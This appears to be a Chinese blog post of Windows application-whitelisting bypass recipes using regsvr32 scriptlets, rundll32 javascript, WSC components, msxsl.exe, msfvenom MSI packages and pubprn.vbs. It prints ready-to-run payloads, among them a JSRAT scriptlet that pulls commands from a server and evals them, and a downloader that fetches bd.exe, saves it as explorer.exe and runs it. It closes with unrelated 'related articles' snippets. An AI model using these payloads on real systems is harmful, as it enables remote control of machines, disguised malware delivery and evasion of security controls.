<scriptlet><registrationdescription="Empire"progid="Empire"version="1.00"classid="{20001111-0000-0000-0000-0000FEEDACDC}"><!-- regsvr32 /s /i"C:\Bypass\Backdoor.sct" scrobj.dll --><!-- regsvr32 /s /i:http://server/Backdoor.sct scrobj.dll --><!-- That should work over a proxy and SSL/TLS... --><!-- Proof Of Concept - Casey Smith @subTee --><script language="JScript"><![CDATA[var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]>
</script>
</registration><public><method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[function Exec(){var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");}]]>
</script></scriptlet>

运行JSRAT:

regsvr32 /s /n /u /i:http://urlto/JSRAT.sct scrobj.dll

JSRAT.sct

<?XML version="1.0"?>
<scriptlet>
<registration progid="ShortJSRAT"classid="{10001111-0000-0000-0000-0000FEEDACDC}" ><!-- Learn from Casey Smith @subTee --><script language="JScript"><![CDATA[rat="rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();h=new%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");w=new%20ActiveXObject(\"WScript.Shell\");try{v=w.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet%20Settings\\\\ProxyServer\");q=v.split(\"=\")[1].split(\";\")[0];h.SetProxy(2,q);}catch(e){}h.Open(\"GET\",\"http://127.0.0.1/connect\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}";new ActiveXObject("WScript.Shell").Run(rat,0,true);]]>
</script>
</registration>
</scriptlet>

USE PNG

regsvr32 /u /s /i:http://site.com/js.png scrobj.dll

js.png

<?XML version="1.0"?>
<let>
<registration progid="ShortJSRAT"classid="{10001111-0000-0000-0000-0000FEEDACDC}" ><!-- Learn from Casey Smith @subTee -->< language="J"><![CDATA[ps = "cmd.exe /c calc.exe";new ActiveXObject("W.Shell").Run(ps,0,true);]]></>
</registration>
</let>

Use WSC

运行计算器

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://urlto/calc.wsc")

calc.wsc

<?xml version="1.0"?><package>
<component id="testCalc"><script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); 
]]>
</script></component>
</package>

运行JSRAT

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://urlto/JSRAT.wsc")

JSRAT.wsc:

<?xml version="1.0"?><package>
<component id="testCalc"><script language="JScript">
<![CDATA[rat="rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();h=new%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");w=new%20ActiveXObject(\"WScript.Shell\");try{v=w.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet%20Settings\\\\ProxyServer\");q=v.split(\"=\")[1].split(\";\")[0];h.SetProxy(2,q);}catch(e){}h.Open(\"GET\",\"http://127.0.0.1/connect\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}";new ActiveXObject("WScript.Shell").Run(rat,0,true);
]]>
</script></component>
</package>

11.regsvr32

regsvr32 /u /s /i:http://192.168.3.1/test.data scrobj.dll

test.data内容:

<?XML version="1.0"?>
<scriptlet>
<registrationprogid="ShortJSRAT"classid="{10001111-0000-0000-0000-0000FEEDACDC}" ><!-- Learn from Casey Smith @subTee --><script language="JScript"><![CDATA[ps  = "cmd.exe /c calc.exe";new ActiveXObject("WScript.Shell").Run(ps,0,true);]]>
</script>
</registration>
</scriptlet>

还可以利用 https://github.com/CroweCybersecurity/ps1encode 生成sct(COM scriptlet - requires a webserver to stage the payload)

regsvr32 /u /s /i:http://192.168.3.1/test.sct scrobj.dll

12.MSXSL.EXE

msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令。

下载地址为:

Command Line Transformation Utility (msxsl.exe)

https://www.microsoft.com/en-us/download/details.aspx?id=21714

msxsl.exe 需要接受两个文件,XML及XSL文件,命令行操作如下:

msxsl.exe demo.xml exec.xsl

demo.xml

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="exec.xsl" ?>
<customers>
<customer>
<name>Microsoft</name>
</customer>
</customers>

exec.xsl

<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace"><msxsl:script language="JScript" implements-prefix="user">function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");return nodelist.nextNode().xml;}
</msxsl:script>
<xsl:template match="/"><xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>

同样的,msxsl.exe可以远程加载,具体方式如下:

msxsl https://website.com/scripts/demo.xml https://website.com/scripts/exec.xsl

MSF生成MSI:

msfvenom -f msi -p windows/exec CMD=calc.exe > cacl.msi

命令行运行:

msiexec /quiet /i cacl.msi

将payload放在远程服务器上运行:

https://website.com/payloads/calc.png

13.JS下载者

<?XML version="1.0"?>
<scriptlet>
<registrationprogid="ShortJSRAT"classid="{10001111-0000-0000-0000-0000FEEDACDC}" ><!-- Learn from Casey Smith @subTee --><script language="JScript"><![CDATA[var WSHShell = new ActiveXObject("WScript.Shell");path = WSHShell.ExpandEnvironmentStrings("%temp%");var filepath = path+"/explorer.exe";var xhr = new ActiveXObject("MSXML2.XMLHTTP");xhr.open("GET","http://x.x.x.x/bd.exe", false);xhr.send();if (xhr.Status == 200) {var fso = new ActiveXObject("Scripting.FileSystemObject");var stream = new ActiveXObject("ADODB.Stream");stream.Open();stream.Type = 1;stream.Write(xhr.ResponseBody);stream.Position = 0;if (fso.FileExists(filepath)){fso.DeleteFile(filepath);}stream.SaveToFile(filepath);stream.Close();new ActiveXObject("WScript.Shell").Exec(filepath);}]]>
</script>
</registration>
</scriptlet>

14.pubprn.vbs

在Windows 7以上版本存在一个名为PubPrn.vbs的微软已签名WSH脚本,其位于C:\Windows\System32\Printing_Admin_Scripts\en-US,仔细观察该脚本可以发现其显然是由用户提供输入(通过命令行参数),之后再将参数传递给GetObject()

"C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct

test.sct

<?XML version="1.0"?>
<scriptlet>
<registrationdescription="Bandit"progid="Bandit"version="1.00"classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"remotable="true">
</registration>
<script language="JScript">
<![CDATA[var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

http://www.ppmy.cn/news/562639.html

相关文章

常见病毒木马查杀表

常见病毒木马查杀表 本文含概了windows几乎所有常见的病毒、木马的进程名程&#xff0c;检查你的系统进程&#xff0c;看看是否中招。 exe → BF Evolution Mbbmanager.exe → 聪明基因 _.exe → Tryit Mdm.exe → Doly 1.6-1.7 Aboutagirl.exe → 初恋情人 Microsoft.exe → 传…

W ndows32病毒危不危险,现在 Windows 病毒还多吗?

现在win10&#xff0c;相信你不手动安装病毒是很难中毒的。只要你看清楚系统的提示。但是防范病毒的决心是不可动摇的。殊不知&#xff0c;U盘作为移动存储盘是最容易带上病毒并传递到电脑上的&#xff0c;而ripper病毒就是其中一种&#xff0c;一旦U盘中了此种病毒将造成一下几…

Ubuntu 22 服务器端安装图形化界面

文章目录 前言一、什么是图形化界面二、操作步骤1、更新安装工具2、开始安装3、重启 总结 前言 Ubuntu 系统做得是越来越好了&#xff0c;从CentOS 不再提供维护后&#xff0c;越来越多的企业和公司从CentOS转到Ubuntu服务器系统&#xff0c;转了之后才发现&#xff0c;它比Ce…

vue购物车报non null key required

在Vue开发中&#xff0c;当你尝试使用购物车或类似的列表组件时&#xff0c;可能会遇到一个常见的错误&#xff1a;“non-null key required”&#xff08;需要非空键&#xff09;。这个错误通常是由于在Vue中使用v-for指令迭代列表时&#xff0c;没有给每个列表项提供唯一的键…

还在烦恼代码写不出来?低代码助力实现“无码”搭建系统平台

摘要&#xff1a;本文由葡萄城技术团队于CSDN原创并首发。葡萄城为开发者提供专业的开发工具、解决方案和服务&#xff0c;赋能开发者。 据说… 每敲出来一行代码 就有一根头发离我而去… 而每解决掉一个bug 就有一个毛囊开始休养生息… 程序猿&#xff0c;一个让人既爱又…

把PC上的蓝牙适配器模拟成蓝牙GPS(转贴)

目的&#xff1a;PC大家都有吧&#xff1f;PC上的蓝牙适配器&#xff08;又叫蓝牙棒&#xff09;大家也有吧&#xff1f;有没有想过把PC上的蓝牙模拟成蓝牙GPS&#xff0c;骗过那些接收设备&#xff08;比如智能手机和PDA&#xff09;&#xff0c;让手机和PDA以为PC上的蓝牙是个…

【Nordic】如何极致实现Nordic 蓝牙性能

在很多应用场合&#xff0c;BLE只是作为一个数据透传模块&#xff0c;即将设备端数据上传给手机&#xff0c;同时接收手机端下发的数据。本文将和大家一起&#xff0c;一步一步演示如何开发一个BLE透传应用程序。按照本文的说明&#xff0c;大家可以很快就实现一个BLE透传应用&…

什么是蓝牙适配器?它有哪些性能特点?-道合顺大数据Infinigo

蓝牙(Bluetooth)是无线网络传输技术的一种&#xff0c;原本是用来取代红外的。与红外技术相比&#xff0c;蓝牙无需对准就能传输数据&#xff0c;传输距离小于10米(红外的传输距离在几米以内)。而在信号放大器的帮助下&#xff0c;通讯距离甚至可达100米左右。蓝牙技术非常适合…